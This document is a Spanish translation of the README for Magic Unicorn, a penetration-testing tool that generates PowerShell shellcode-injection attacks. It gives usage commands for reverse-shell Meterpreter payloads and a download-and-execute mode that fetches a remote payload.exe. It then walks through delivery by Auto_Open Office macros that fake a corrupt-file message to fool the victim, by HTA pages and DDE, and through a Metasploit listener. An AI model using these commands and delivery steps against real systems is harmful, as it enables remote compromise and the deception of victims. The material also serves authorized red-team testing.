
Unicorn es una herramienta simple para utilizar un ataque de degradación de PowerShell e inyectar shellcode directamente en memoria. Basado en los ataques PowerShell de Matthew Graeber y la técnica de omisión de PowerShell presentada por David Kennedy (TrustedSec) y Josh Kelly en Defcon 18.
Escrito por: Dave Kennedy (@HackingDave) Sitio web: https://www.trustedsec.com
Magic Unicorn es una herramienta sencilla para utilizar un ataque de downgrade de PowerShell e inyectar shellcode directamente en memoria. Basado en los ataques de PowerShell de Matthew Graeber y la técnica de bypass de PowerShell presentada por David Kennedy (TrustedSec) y Josh Kelly en Defcon 18.
El uso es simple, solo ejecuta Magic Unicorn (asegúrate de que Metasploit esté instalado si usas métodos de Metasploit y en la ruta correcta) y magic unicorn generará automáticamente un comando de PowerShell que solo necesitas copiar y pegar el código de PowerShell en una ventana de línea de comandos o a través de un sistema de entrega de payloads. Unicorn soporta tu propio shellcode, Cobalt Strike y Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Ataques de inyección nativa x86 de PowerShell en cualquier plataforma Windows.
Escrito por: Dave Kennedy en TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Créditos: Matthew Graeber, Justin Elze, Chris Gates
Felices Unicornios Mágicos.
Uso: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
Ejemplo PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Ejemplo Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Ejemplo Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Ejemplo Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Ejemplo HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Ejemplo HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Ejemplo HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Ejemplo DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Ejemplo CRT: python unicorn.py <path_to_payload/exe_encode> crt
Ejemplo PS1 Personalizado: python unicorn.py <path to ps1 file>
Ejemplo PS1 Personalizado: python unicorn.py <path to ps1 file> macro 500
Ejemplo Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (exportar CS en formato C#)
Shellcode Personalizado: python unicorn.py <path_to_shellcode.txt> shellcode (formateado 0x00)
Menú de Ayuda: python unicorn.py --help
Ahora todo se genera en dos archivos, powershell_attack.txt y unicorn.rc. El archivo de texto contiene todo el código necesario para inyectar el ataque de PowerShell en memoria. Ten en cuenta que necesitarás un lugar que soporte inyección remota de comandos de algún tipo. A menudo esto podría ser a través de un documento de excel/word o mediante comandos psexec dentro de Metasploit, SQLi, etc. Hay tantas implicaciones y escenarios donde puedes usar este ataque. Simplemente pega el comando powershell_attack.txt en cualquier ventana de símbolo del sistema o donde tengas la capacidad de llamar al ejecutable de PowerShell y te devolverá una shell. Este ataque también soporta windows/download_exec como método de payload en lugar de solo payloads de Meterpreter. Al usar download y exec, simplemente escribe python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe y el código de PowerShell descargará el payload y lo ejecutará.
Ten en cuenta que necesitarás tener un listener habilitado para capturar el ataque.
Para el ataque macro, deberás ir a Archivo, Propiedades, Cintas de opciones y seleccionar Desarrollador. Una vez que hagas eso, tendrás una pestaña de Desarrollador. Crea una nueva macro, llámala Auto_Open y pega el código generado allí. Esto se ejecutará automáticamente. Ten en cuenta que aparecerá un mensaje al usuario indicando que el archivo está corrupto y se cerrará automáticamente el documento de Excel. ¡ESTO ES COMPORTAMIENTO NORMAL! Esto engaña a la víctima haciéndole pensar que el documento de Excel está corrupto. Deberías obtener una shell a través de la inyección de PowerShell después de eso.
Si estás implementando esto contra versiones de Office365/2016+ de Word, necesitas modificar la primera línea de la salida de: Sub Auto_Open()
A: Sub AutoOpen()
El nombre de la macro en sí también debe ser "AutoOpen" en lugar del nombre heredado "Auto_Open".
NOTA: AL COPIAR Y PEGAR EN EXCEL, SI SE AGREGAN ESPACIOS ADICIONALES, DEBES ELIMINARLOS DESPUÉS DE CADA UNA DE LAS SECCIONES DE CÓDIGO DE POWERSHELL BAJO LA VARIABLE "x" O SE PRODUCIRÁ UN ERROR DE SINTAXIS.
El ataque HTA generará automáticamente dos archivos, el primero index.html que le dice al navegador que use Launcher.hta que contiene el código malicioso de inyección de PowerShell. Todos los archivos se exportan a la carpeta hta_access/ y habrá tres archivos principales. El primero es index.html, el segundo Launcher.hta y el último, el archivo unicorn.rc. Puedes ejecutar msfconsole -r unicorn.rc para lanzar el listener de Metasploit.
Un usuario debe hacer clic en permitir y aceptar al usar el ataque HTA para que la inyección de PowerShell funcione correctamente.